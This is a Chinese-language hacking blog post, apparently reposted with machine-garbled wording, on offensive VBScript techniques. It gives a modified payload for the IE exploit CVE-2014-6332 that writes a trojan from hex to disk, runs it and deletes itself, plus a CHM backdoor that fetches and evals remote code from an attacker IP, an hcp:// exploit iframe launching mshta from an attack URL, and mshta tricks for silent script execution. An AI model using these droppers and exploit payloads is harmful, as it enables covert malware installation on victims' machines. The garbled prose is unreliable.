首页 » SEO优化 » php履行vbscript技巧_明日黄花vbscript

php履行vbscript技巧_明日黄花vbscript

访客 2024-12-07 0

扫一扫用手机浏览

文章目录 [+]

python、powershell、php在脚本编程界的地位如日中天,vbscript已零落成泥碾作尘,已成明日黄花。
犹记得zzzevazzz在2004年前有两篇文章横空出世,分别是《深入挖掘Windows脚本技能》和《Do All in Cmd Shell (统统尽在命令行)》,博得一片惊叹,引起广大反响。
但12年过去了,vbscript在黑客界的地位逐渐势微,连微软脚本专家都放弃了它,更多的人转向了powershell在黑客方面的研究。

我写这篇文章,一方面是对zzzevzaaa的文章的挂漏补遗,另一方面展现vbs一些小技巧,更主要的是对自己放弃在vbs方面研究的思念。

php履行vbscript技巧_明日黄花vbscript

一、vbs写二进制字节的代码以及利用

php履行vbscript技巧_明日黄花vbscript
(图片来自网络侵删)

《Do All in Cmd Shell (统统尽在命令行)》这里写到过一个问题:echo命令加重定向操作符可以写入ASCII码小于128的字符,但大于即是128的弗成。
只有将本地文件重新”编码”为可显示的字符,才能方便地写入远程主机。
首先能想到的便是base64编码,即email附件的编码办法。
但vbs不支持位操作,因此编码和解码较繁芜。
更麻烦的是,脚本以二进制流办法处理文件的能力很差。
(ADODB.Stream可以以流办法写文件,但我无法布局出相应的数据类型。
二进制数据流可以用midb函数转成字符串,但反过来弗成。
我花了两天韶光,还是没能办理这个问题。
如果有谁能用vbs或js写任意的字节数据到文件中,恳请见教。

先来说一下vbs写base64字节流还原二进制,用Microsoft.XMLDOM组件来办理就很大略了。
关键函数如下:

private function readBytes(file)

dim inStream

' ADODB stream object used

set inStream = WScript.CreateObject(\"大众ADODB.Stream\"大众)

' open with no arguments makes the stream an empty container

inStream.Open

inStream.type= TypeBinary

inStream.LoadFromFile(file)

readBytes = inStream.Read()

end function

private function encodeBase64(bytes)

dim DM, EL

Set DM = CreateObject(\公众Microsoft.XMLDOM\"大众)

' Create temporary node with Base64 data type

Set EL = DM.createElement(\"大众tmp\"大众)

EL.DataType = \"大众bin.base64\"大众

' Set bytes, get encoded String

EL.NodeTypedValue = bytes

encodeBase64 = EL.Text

end function

private function decodeBase64(base64)

dim DM, EL

Set DM = CreateObject(\公众Microsoft.XMLDOM\"大众)

' Create temporary node with Base64 data type

Set EL = DM.createElement(\公众tmp\"大众)

EL.DataType = \"大众bin.base64\"大众

' Set encoded String, get bytes

EL.Text = base64

decodeBase64 = EL.NodeTypedValue

end function

private Sub writeBytes(file, bytes)

Dim binaryStream

Set binaryStream = CreateObject(\"大众ADODB.Stream\"大众)

binaryStream.Type = TypeBinary

'Open the stream and write binary data

binaryStream.Open

binaryStream.Write bytes

'Save binary data to disk

binaryStream.SaveToFile file, ForWriting

End Sub

全部代码在这https://ghads.wordpress.com/2008/10/17/vbscript-readwrite-binary-encodedecode-base64/,编码和解码的效率还是不错的。

如果用ADODB.Recordset组件还原16进制为二进制文件,效率稍差,但也是可以做到的。
说到vbs写二进制文件,有没有想到袁哥哪个ie的神洞CVE-2014-6332呢?我个人网络了一些这个网马样本,但90%用的是下载实行的方法,还有的样本乃至用了ftp下载实行的办法,实在不必哪么麻烦。
袁哥给出的样本在这http://www.freebuf.com/articles/system/51501.html,我们可以把个中的runmumaa()函数改写如下代码,这样就利索多了:

Function runmumaa()

Set Fso=CreateObject(\"大众Scripting.FileSystemObject\公众)

path=\公众C:\ProgramData\Microsoft\Windows\DRM\\"大众

If Not (fso.FolderExists(path)) Then

path= \"大众C:\docume~1\alluse~1\\"大众

End If

Set ws = CreateObject(\"大众Wscript.Shell\"大众)

Set wf=fso.OpenTextFile(path&\公众test.vbs\公众,2, True)

wf.write \"大众fp=\公众\公众\公众&path&\公众0day.exe\公众\"大众:set fs=CreateObject(\"大众\"大众Scripting.FileSystemObject\"大众\"大众):set ws= Createobject(\公众\"大众WScript.Shell\"大众\公众):ss=\公众\"大众4D5A9000'木马的16进制编码\"大众\公众:Set RS = CreateObject(\"大众\公众ADODB.Recordset\"大众\"大众):L = Len(ss) / 2:RS.Fields.Append \公众\"大众m\"大众\公众, 205, L:RS.Open:RS.AddNew:RS(\"大众\"大众m\"大众\"大众) = ss & ChrB(0):RS.Update:ss = RS(\"大众\"大众m\公众\"大众).GetChunk(L):Set s = CreateObject(\"大众\"大众ADODB.Stream\"大众\"大众):With s: .Mode = 3:.Type = 1:.Open:.Write ss:.SaveToFile fp, 2:End With:ws.run fp:fs.DeleteFile(wscript.scriptfullname)\公众

wf.close

Set wf=Nothing

set objShellApp=CreateObject(\公众Shell.Application\"大众)

If (fso.FileExists(path&\"大众test.vbs\公众)) Then

Set objFolder = objShellApp.NameSpace(path)

objFolder.Items().item(\"大众test.vbs\"大众).invokeverb

End If

end Function

二、vbs在协议方面的代码以及利用

wooyun知识库有篇文章,《高等组合技打造“完美” 捆绑后门》(http://drops.wooyun.org/tips/14254),紧张说的是用powershell方法来制作一个chm后门。
文章写得很好,但会忽略了一部分xp用户。
如果让chm不弹不闪实行一个exe的话,为什么不用vbs呢?原文中终极的代码如下:

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>

This is a demo ! <br>

<OBJECT id=x classid=\"大众clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\"大众 width=1 height=1>

<PARAM name=\公众Command\"大众 value=\"大众ShortCut\公众>

<PARAM name=\"大众Button\"大众 value=\公众Bitmap::shortcut\公众>

<PARAM name=\"大众Item1\公众 value=',rundll32.exe,javascript:\公众\..\mshtml,RunHTMLApplication \公众;document.write();h=new%20ActiveXObject(\"大众WinHttp.WinHttpRequest.5.1\"大众);h.Open(\"大众GET\"大众,\"大众http://192.168.1.101:8080/connect\公众,false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject(\公众WScript.Shell\"大众).Run(\"大众cmd /c taskkill /f /im rundll32.exe\"大众,0,true);}'>

<PARAM name=\公众Item2\"大众 value=\"大众273,1,1\公众>

</OBJECT>

<SCRIPT>

x.Click();

</SCRIPT>

</body></html>

它这里Item1用的value值是rundll32.exe,javascript来实行的js代码,实在这里我们可以用mshta来实行vbs或js。
有一个比较大略的思路是在chm主页中嵌入一个htm。
像代码是<img src=1.htm>,然后利用CDO.Message来读mk:@MSITStore协议或是ms-its协议,然后这个1.htm里是你的vbs代码,这样你就为所欲为了。

示例代码: mshta mk:@MSITStore:H:\i\d盘\old\easychm\d.chm::/1.htm(如图1)

或是:mshta its:H:\i\d盘\old\easychm\d.chm::/1.htm

或是:mshta ms-its:H:\i\d盘\old\easychm\d.chm::/1.htm。

或是: mshta its:H:\i\d盘\old\easychm\d.chm::/1.htm

或是: mshta ms-its:H:\i\d盘\old\easychm\d.chm::/1.htm 。

说到这里,有没有又想到几年前的哪个hcp协议漏洞呢( M10-042)?如果我们用到mshta的话,就不用在url里写哪么多代码了。
示例如下:

<iframe src=\公众hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=%3Cscript/defer%3Eeval%28unescape%28%27Run%2528%2522mshta%2520http%253A//attackUrl%2522%2529%27%29%29%3C/script%3E\"大众>

三、mstha运行vbs的代码以及利用

在文章第二部分,我用到了mshta来直接运行mk:@MSITStore:H:\i\d盘\old\easychm\d.chm::/1.htm。
我估计很多人有迷惑,你把chm代码发给对方后,你如何判断对方chm的详细位置呢?实在这个就涉及到mshta如何来运行vbs了。
几年前我在<<黑客手册>>这本书里写到<<非常规运行vbs>>给出的示例代码是:mshta vbscript:createobject(\"大众wscript.shell\公众).run(\"大众%~nx0 h\"大众,0)(window.close)。
这里的方法有个极大的弊端,代码之间不能有空格,例如只能写mshta vbscript:msgbox(\公众a\公众),而不能写成mshta vbscript:msgbox \"大众a\"大众,写成后一种会出错。
实在我以为这种写法应该是微软的bug或是微软的宽容,mstha应该运行的是vbscript而不是vbs。
以是深入一下我们就明白发如何在mshta为所欲为写vbs了。

批处理之家http://www.bathome.net/thread-11516-1-1.html,myzam提到了几种mshta写vbscript的方法,给出的代码分别是:

1、mshta vbscript:\"大众<html style=background:buttonface><title>作者:myzam 2011-3-18</title><body>hello world<br/>hello<hr/>world<script language=vbscript>msgbox (123)</script></body></html>\公众

2、mshta vbscript:\"大众<html ><title>test</title><body>hello world <script language='vbscript'>msgbox (\"大众\"大众hello world\"大众\公众) </script></html>\"大众

3、mshta vbscript:\"大众<html ><title>test</title><body>hello world <script language=\"大众\"大众vbscript\公众\"大众>msgbox (\"大众\"大众hello world\公众\公众) </script></html>\公众

这样的写法是可以的,但是你不会以为双引号转义来转义去的麻烦呢,而且还是有空格的问题。
既然mshta调用的是ie,有没有想到过ie地址栏的一些特性呢,以是我们终极代码是:

mshta \公众about:<script language=vbs> msgbox \"大众a\公众 :window.close </script>\"大众

用了about就不怕有空格了,代码就随意了。

标签:

相关文章

mysql并发php技巧_PHPAJAX 与 MySQL

AJAX 数据库实例下面的实例将演示网页如何通过 AJAX 从数据库读取信息:本教程利用到的 Websites 表 SQL 文件:...

SEO优化 2024-12-08 阅读0 评论0